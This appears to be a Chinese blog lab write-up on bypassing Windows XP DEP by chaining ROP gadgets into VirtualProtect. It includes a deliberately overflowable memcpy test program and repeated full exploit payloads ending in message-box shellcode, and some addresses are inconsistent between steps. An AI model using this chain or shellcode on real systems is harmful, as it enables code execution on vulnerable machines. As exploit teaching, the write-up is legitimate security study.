9.3 Ret2Libc 实战之利用VirtualProtect

目录

一、实验原理

二、实验环境

三、实验代码

四、实验步骤

1、找到VirtualProtect()在内存中的地址

2、构造VirtualProtect()的相关参数

3、修改内存属性

4、执行弹窗代码


一、实验原理

        在DEP的四种模式中,Optout和AlwaysON模式下所有进程是默认开启DEP,这时如果一个程序自身偶尔需要从堆栈中取指令,则会发生错误。为了解决这一问题,系统提供了一个修改内存属性的函数——VirtualProtect函数,该函数位于kernel32.dll中,通过该函数用户可以修改指定内存的属性,包括是否可执行属性。因此,只要我们在栈桢中布置好合适的参数,并让程序转入函数VirtualPotect执行,就可以将shellcode所在内存设置为可执行状态,进而绕过DEP。

        VirtualProtect函数说明:

BOOL VirtualProtect( 
 LPVOID lpAddress,       //要改变属性的内存起始地址
 DWORD dwSize,           //要改变属性的内存区域大小
 DWORD flNewProtect,     //内存新的属性值,设置为0x40,该内存页可读可写可执行
 PDWORD lpflOldProtect   //内存原始属性类型保存地址
);

        修改内存属性成功,函数返回非0;修改失败,函数返回0。

        如果我们按照以下参数布置好栈帧的话,就可以将shellcode所在内存区域设置为可执行模式:

BOOL VirtualProtect( 
 shellcode 所在内存空间起始地址, 
 shellcode 大小, 
 0x40, 
 某个可写地址
);

        需要注意两个问题:

        (1)参数中含有0x00,strcpy在复制字符串的时候会被截断,所以我们不能攻击str函数,本次实验改为攻击memcpy函数;

        (2)对shellcode所在内存空间起始地址的确定,不同机器之间shellcode在内存中的位置可能不同,本次实验采用一种巧妙地栈帧构造方法动态确定shellcode所在内存空间地起始地址。

        VirtualProtect函数具体实现:
        VirtualProtect只是相当于做了一次中转,通过将进程句柄、内存地址、内存大小等参数传递给VirtualProtectEx函数来设置内存的属性。我们选择0x7C801FE8作为切入点,按照函数要求将栈帧布置好后转入0x7C801FE8处执行设置内存属性操作。

二、实验环境

        操作系统:windows xp sp2

        DEP状态:Optout

        编译器:VC++6.0

        build版本:release版本

        原版OD

三、实验代码

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xFC\xDA\xCE\x7D"//pop eax retn
"\x9D\x63\x73\x7D"//pop pop pop retn
"\x68\xDC\xEC\x77"//修正EBP
"\x30\x2A\xD7\x7D"//RETN
"\x90\x90\x90\x90"
"\xC6\xC6\xEB\x77"//push esp jmp eax
"\xFF\x00\x00\x00"
"\x40\x00\x00\x00"
"\xC6\xC6\xEB\x77"//push esp jmp eax
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xD9\x1A\x80\x7C"//修改内存属性
"\x90\x90\x90\x90"
"\xBB\x33\xD3\x7D"//jmp esp
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
void test()
{
	char tt[176];
	memcpy(tt,shellcode,420);
}
int main()
{
	HINSTANCE hInst = LoadLibrary("shell32.dll");
	char temp[200];
	test();
    return 0;
}

        代码简要分析:

        (1)本次实验不启用GS和SafeSEH;

        (2)函数test存在一个典型的溢出,复制超长字符串造成溢出,进而覆盖函数返回地址;

        (3)覆盖掉函数返回地址后,通过Ret2Libc技术,利用VirtualProtect函数将shellcode所在内存区域设置为可执行模式;

        (4)通过push esp jmp eax指令序列动态设置VirtualProtect函数中的shellcode所在内存起始地址以及内存原始属性类型保存地址;

        (5)内存区域被设置为可执行模式后shellcode就可以执行了。

四、实验步骤

1、找到VirtualProtect()在内存中的地址

        本实验主要是通过调用VirtualProtect()函数修改指定内存位置的属性的方法绕过DEP,所以需要知道VirtualProtect()的地址。另外,不同的设备,VirtualProtect()在内存中的位置不一样,所以使用Dependency Walker在kernel32.dll中寻找其地址,并在OD中验证。

         可以看到VirtualProtect()大概在0x7C800000+0x00001AD4处。

         我们这里之后直接转到0x7C801AD4,直接进入参数的压栈。

2、构造VirtualProtect()的相关参数

        如果想调用函数VirtualProtect(),而在调用函数之前,需要将函数相关参数入栈,因为再覆盖栈帧的时候,EBP中的数据已经被破坏,因此与函数有关的参数将无法入栈,也就是程序无法执行。

        所以需要修复EBP。用PUSH ESP POP EBP RET 4指令的地址覆盖test函数的返回地址,这样就可以修复被破坏的EBP。

        使用ollyFindAdd插件:

         这里选择0x77ECDC68地址。

        则此时的shellcode为:

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
...
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x68\xDC\xEC\x77"//修正EBP

        编译运行程序,直接运行到PUSH ESP POP EBP RET 4处,查看栈帧情况:

         如果retn 4 之后,程序准备调用函数VirtualProtect(),那么四个参数位置就是上图红框框的四个位置。

        执行完retn 4之后,ESP将指向0x0012FEBC处,也就是刚好指向EBP+8的位置。

         现在的目的是:执行完RETN 4之后,使ESP向高地址方向移动4字节而又不影响程序的控制。

         选择0x7DD72A30处的RETN指令。

         PUSH ESP,JMP EAX指令的目的是改EBP+8处的参数

 

         如上图所示,我们已经将EBP+0x8的参数设置为了当前栈帧的某个地址,只要我们将EBP+0x14处存放的地址为可写地址就行了。按照刚刚的1思路,如果我们将ESP指向EBP+0x18,就可以再用PUSH ESP,JMP EAX指令来设置EBP+0x14的参数。

        观察当前栈帧的特点,ESP指向0x0012FEBC,EBP+0x18为0x0012FECC,所以我们可以用POP POP POP RETN指令序列使得ESP指向0x0012FECC。

        结合当前程序执行的语句,可以看到此时程序下一步将要执行JMP EAX,所以我们需要程序指向JMP EAX之前,让EAX中保存着POP POP POP RETN的指令序列地址。

        (1)使用OllyFindAdd寻找POP POP POP RETN指令地址:

        需要注意的是:选择的POP POP POP RETN指令不能影响到ESP、EBP、EAX这几个寄存器的值,所以这里我们选择0x7D73639D处的指令序列。

        (2)寻找POP EAX RETN

        使用POP EAX RETN指令序列,将POP POP POP RETN指令的地址(0x7D73639D)存入EAX中。

         这里选择0x7DCEDAFC.

        更改shellcode:

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
...
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xFC\xDA\xCE\x7D"//pop eax retn
"\x9D\x63\x73\x7D"//pop pop pop retn
"\x68\xDC\xEC\x77"//修正EBP
"\x30\x2A\xD7\x7D"//RETN
"\x90\x90\x90\x90"
"\xC6\xC6\xEB\x77"//push esp jmp eax

         编译运行程序,直接执行到0x7DCEDAFC处(test函数的返回地址就是0x7DCEDAFC覆盖);

        这一步执行POP EAX RETN,目的是让EAX保存0x7D73639D(也就是POP POP POP RETN指令序列的地址)。

         可以看到下一步程序EIP寄存器将会指向0x77ECDC68(也就是修正EBP)

         通过PUSH ESP POP EBP RETN指令序列修正EBP之后,下一步EIP寄存器将会执行0x7DD72A30(也就是RETN),并且,ESP将会指向0x0012FEC4(也就是EBP+8)。使用RETN(0x7DD72A30)的目的是让ESP指向0x0012FEC8(也就是EBP+12),同时EIP将会指向0x77EBC6C6(PUSH ESP JMP EAX)。前一个PUSH EAP是更改EBP+8的值,也就是函数VirtualProtect()的第一个参数(要改变属性的内存的起始地址)。后一个JMP EAX是为了更改EBP+14的值,也就是数VirtualProtect()的第四个参数(内存原始属性类型保存地址)。

 

         指向PUSH ESP,可以看到EBP+8位置的数据被覆盖,也就是函数VirtualProtect()的第一个参数被更改,目的是更改从0x12FEC8开始的内存属性。这一步RETN之后,EIP寄存器将会指向0x7D73639D(也就是执行POP POP POP RETN指令序列)处。

 

         执行完POP POP POP 之后,ESP指向0x0012FED0处,也就是EBP+14,也就是函数VirtualProtect()的第四个参数,下一步的目的将是更改此处的值,改为一个可写的地址。

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
...
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xFC\xDA\xCE\x7D"//pop eax retn
"\x9D\x63\x73\x7D"//pop pop pop retn
"\x68\xDC\xEC\x77"//修正EBP
"\x30\x2A\xD7\x7D"//RETN
"\x90\x90\x90\x90"
"\xC6\xC6\xEB\x77"//push esp jmp eax

         究竟如何改呢?同样用PUSH ESP JMP EAX,观察到此时ESP指向0x0012FED0,要改的内存属性的地址是从0x0012FEC8开始的,所以0x0012FED0是可写的地址。

        同时注意到:结合此时的shellcode,并且对比下面两张图:

 刚开始更改EAX的值

准备改第四个参数

        可以发现,函数VirtualProtect()的第二、三参数应该分别放在0x0012FEC8、0x0012FECC处,也就是在构造shellcode的时候,将函数VirtualProtect()的第二、三参数直接布置在"\xC6\xC6\xEB\x77"后面即可。

        重新构造shellcode:

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
...
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xFC\xDA\xCE\x7D"//pop eax retn
"\x9D\x63\x73\x7D"//pop pop pop retn
"\x68\xDC\xEC\x77"//修正EBP
"\x30\x2A\xD7\x7D"//RETN
"\x90\x90\x90\x90"
"\xC6\xC6\xEB\x77"//push esp jmp eax
"\xFF\x00\x00\x00"
"\x40\x00\x00\x00"
"\xC6\xC6\xEB\x77"//push esp jmp eax

         编译运行程序,运行到修改第四个参数位置,即JMP EAX处。

        可以看到函数的第四个参数以及被修改,既然四个参数都已经准备好了,下一步将调用函数VirtualProtect()修改执行内存的属性值。

        程序下一步将会执行[eax],即POP POP POP RETN指令序列。现在ESP执行0x0012FED0,而这个0x0012FED0曾经存放的是PUSH ESP JMP EAX这条指令序列的地址,所以,调用VirtualProtect()的指令(0x7C801AD4)放在0x0012FEDC处.。

3、修改内存属性

        更改shellcode:

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
...
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xFC\xDA\xCE\x7D"//pop eax retn
"\x9D\x63\x73\x7D"//pop pop pop retn
"\x68\xDC\xEC\x77"//修正EBP
"\x30\x2A\xD7\x7D"//RETN
"\x90\x90\x90\x90"
"\xC6\xC6\xEB\x77"//push esp jmp eax
"\xFF\x00\x00\x00"
"\x40\x00\x00\x00"
"\xC6\xC6\xEB\x77"//push esp jmp eax
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xD9\x1A\x80\x7C"//修改内存属性

        编译运行程序,执行到程序调用函数VirtualProtect()处:

         可以看到,函数VirtualProtect()的返回值为非0,也就是说更改内存属性成功。也就是说我们可以在0x0012FEC8~0x001FEC8+0xFF的位置为所欲为了!只要在0x0012FEE4处放一个JMP ESP的指令,然后ESP将会指向0x0012FEF4处,在0x0012FEF4放弹窗代码即可绕过DEP。

4、执行弹窗代码

        结合shellcode的布局,寻找JMP ESP要放在哪儿,构造shellcode:

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
...
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xFC\xDA\xCE\x7D"//pop eax retn
"\x9D\x63\x73\x7D"//pop pop pop retn
"\x68\xDC\xEC\x77"//修正EBP
"\x30\x2A\xD7\x7D"//RETN
"\x90\x90\x90\x90"
"\xC6\xC6\xEB\x77"//push esp jmp eax
"\xFF\x00\x00\x00"
"\x40\x00\x00\x00"
"\xC6\xC6\xEB\x77"//push esp jmp eax
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xD9\x1A\x80\x7C"//修改内存属性
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xA4\xDE\xA2\x7C"//jmp esp

         编译运行程序,运行到调用完函数VirtualProtect(),准备返回,即RETN 10处。

         在栈帧中,可以看到0x0012FEE4指向第二个“\x90\x90\x90\x90”,所以下一步将JMP ESP放在第二个“\x90\x90\x90\x90”处即可。

        在继续构造shellcode之前,先找一个JMP ESP:

         选择0x7DD333BB处的JMP ESP。

        构造shellcode:

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xFC\xDA\xCE\x7D"//pop eax retn
"\x9D\x63\x73\x7D"//pop pop pop retn
"\x68\xDC\xEC\x77"//修正EBP
"\x30\x2A\xD7\x7D"//RETN
"\x90\x90\x90\x90"
"\xC6\xC6\xEB\x77"//push esp jmp eax
"\xFF\x00\x00\x00"
"\x40\x00\x00\x00"
"\xC6\xC6\xEB\x77"//push esp jmp eax
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xD9\x1A\x80\x7C"//修改内存属性
"\x90\x90\x90\x90"
"\xBB\x33\xD3\x7D"//jmp esp
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"

         编译运行,成功绕过DEP:

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
pwn ret2libc是一种攻击技术,其原理是通过利用程序中的栈溢出漏洞,来控制程序的执行流程,以达到执行libc中的函数的目的。 在ret2libc攻击中,程序会调用libc库中的函数,例如system函数,来执行特定的操作。但是在程序中没有自带的/bin/sh字符串,所以需要通过其他方式获取执行shell命令的能力。 具体而言,攻击者会利用程序中的栈溢出漏洞,将栈上的返回地址修改为在libc库中的某个函数的地址,例如puts函数。然后通过执行puts函数,将栈上保存的函数地址打印出来。由于libc库中的函数地址相对位置是不变的,攻击者可以根据已知的函数地址和libc的版本来计算system函数的真实地址。然后再利用system函数执行特定的操作,比如执行shell命令。 总结来说,pwn ret2libc攻击的原理是通过栈溢出漏洞修改返回地址为libc库中的一个函数地址,然后根据已知的函数地址和libc的版本计算出system函数的真实地址,最终实现执行shell命令的目的。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [pwn学习——ret2libc2](https://blog.csdn.net/MrTreebook/article/details/121595367)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [pwn小白入门06--ret2libc](https://blog.csdn.net/weixin_45943522/article/details/120469196)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值